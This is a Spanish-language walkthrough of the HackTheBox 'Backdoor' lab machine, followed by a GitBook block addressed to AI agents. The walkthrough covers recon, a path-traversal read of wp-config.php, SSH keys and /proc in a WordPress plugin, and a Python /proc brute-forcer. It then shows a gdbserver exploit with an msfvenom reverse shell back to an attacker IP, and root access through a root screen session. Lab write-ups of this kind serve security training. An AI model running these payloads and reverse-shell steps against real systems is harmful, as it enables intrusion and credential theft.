> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).

# Resolución de HackTheBox Backdoor

{% hint style="warning" %}
**Habilidades:**

* Vulnerabilidad de inclusión local de archivos en WordPress (LFI)
* LFI a RCE (Abusando de /proc/PID/cmdline)
* Vulnerabilidad de RCE en Gdbserver
* Abusando de Screen (Escalada de privilegios) (Sincronización de sesión)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/11ee43cb08615411e1effe9ec6e842ab91324d3d" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/21e3cbf4112bbc52d875894acabbe32f967d652f" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```

<figure><img src="/files/5887eb4431c9ae84c2d14b053496f3cc1ccb45d1" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22,80,1337)

<figure><img src="/files/ad737c24c48ced18876641a418fe7e42e8efbb8a" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```

<figure><img src="/files/4134346bd018f6945ad2af19a26c5d1f0f02bf34" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/68115e3e96871606124c8fa33d937eb185003b26" alt=""><figcaption></figcaption></figure>

### Puerto 80 - WordPress

**Identificación de WordPress:**

Con la **WhatWeb** herramienta, el servicio en el puerto 80 se identifica como WordPress.

<div data-full-width="true"><figure><img src="/files/177a60c729f61a2df0cdc6af02cd10201ed60cc6" alt=""><figcaption></figcaption></figure></div>

**Enumeración de usuarios:**

Se descubre un usuario válido (admin) mediante un ataque de fuerza bruta:

<figure><img src="/files/c854e40eb6f229587bbe7d1d6fe5970f2c56eae2" alt=""><figcaption></figcaption></figure>

```bash
wpscan --url http://backdoor.htb/ -e u  
```

<figure><img src="/files/2f59b96262a89ed96df10908e98423218d1603e8" alt=""><figcaption></figcaption></figure>

**Enumeración de directorios con Gobuster:**

Búsqueda de directorios:

```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/5b89bf51db48b1c29bac939bdb2237af306b01ca" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad Ebook-Download - LFI

Buscar **wp-content/plugins** para descubrir los plugins activos:

```
/wp-content/plugins
```

<figure><img src="/files/f257b555dedffd691971e279e0d83d398bb27398" alt=""><figcaption></figcaption></figure>

El **ebook-download** el plugin presenta una vulnerabilidad LFI explotada mediante:

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="/files/5eb800963f9b428e115709a1f96335980f0488e6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a086f20d529076ec32c28d79053a899f3401bc90" alt=""><figcaption></figcaption></figure>

Esta consulta permite descargar archivos arbitrarios. Al recuperar el `wp-config.php` archivo

<figure><img src="/files/651cd12f04d995a1b346ddb96b2c1dfe84fbcb7d" alt=""><figcaption></figcaption></figure>

Obtenemos la siguiente información:

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="/files/4e43fd014616dfe03fd69ea0d97543cc9f253069" alt=""><figcaption></figcaption></figure>

Esta información no le permite conectarse a la `wp-admin` interfaz,

<figure><img src="/files/0edbb9d77f1016bd83b8ae2dfa01ccebadd4ba49" alt=""><figcaption></figcaption></figure>

## Explotación LFI

**Listado de archivos sensibles:**

Lista los usuarios del sistema a través de /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```

<figure><img src="/files/20adf96567479bed88b834131d7cf5e8ab8f9980" alt=""><figcaption></figcaption></figure>

Intentos de recuperar la clave privada SSH del usuario `token de usuario`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```

Estos intentos probablemente fallan debido a permisos restringidos en estos archivos.

<div data-full-width="true"><figure><img src="/files/fd1f0311a2bdecbd68a6baa3fdb3ae00874d612b" alt=""><figcaption></figcaption></figure></div>

### **LFI - Proc**

**Exploración de procesos**

Creando un script de Python para extraer información de procesos explorando `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3


from pwn import *
import requests, signal, time, pdb

def def_handler(sig, frame):

    print("/n/n[+]] Saliendo.../n")
    sys.exit(1)

# Ctrl + c 

signal.signal(signal.SIGINT, def_handler)

# Variables globales 
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="


def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Ataque de fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")
    sleep(2)

    for i in range(1, 1000):
        p1.status("Probando con la ruta /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)

        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PATH: /proc/%s/cmdline" % str(i))
            log.info("Longitud total: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")

if __name__ == '__main__':
    makeRequest()
```

Analizando los procesos, el puerto 1337 se identifica como un, **gdbserver** servidor.

<div data-full-width="true"><figure><img src="/files/0a0797d1d3aabc1a0f867750c583c4864414798e" alt=""><figcaption></figcaption></figure></div>

## Puerto 1337 - gdbserver

Hay un exploit para gdbserver disponible en **Searchsploit**:

<figure><img src="/files/302a340549164d33be24fbcad183d138ecaeca4b" alt=""><figcaption></figcaption></figure>

**Explotación de gdbserver:**

```bash
searchsploit -m linux/remote/50539.py
```

1. Generar una shell inversa:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```

2. Inicia un listener en el puerto 443:

```bash
nc -nvlp 443
```

3. Ejecutar el exploit:

```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```

<figure><img src="/files/4f7f853f3e69ad201031072f05043ba798eaa4c1" alt=""><figcaption></figcaption></figure>

Procesa la shell interactiva para mayor estabilidad:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera User.txt :)

<figure><img src="/files/cbf80187a1e05417406381a75cf4e270ccfc9ace" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### SUID - Screen:

#### Identificación de binarios SUID

Buscaremos archivos que tengan el bit SUID habilitado en el sistema usando el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/79792228d0cfd113db23dfec53b2a5d38e33481d" alt=""><figcaption></figcaption></figure>

#### Análisis del proceso Screen

Para examinar los procesos relacionados con Screen en ejecución, usamos el siguiente comando:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/d2299b29d35d37d085153a7ab8d3894e9c5febb9" alt=""><figcaption></figcaption></figure></div>

Encontramos el siguiente proceso en ejecución:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

El proceso anterior muestra que Screen está configurado para crear una sesión de root si la `/var/run/screen/S-root/` la carpeta está vacía. Con esta configuración podemos explotar Screen para obtener acceso root.

```bash
screen -x root/
```

### Bandera root.txt :)

Después de acceder a la sesión de Screen como root, ahora tienes privilegios de administrador.

<figure><img src="/files/dc5a7f334584d7858faa34bac5a966c662be01e3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a643b9fe63f5a78dd01a776714b462401efc8b34" alt="" width="527"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
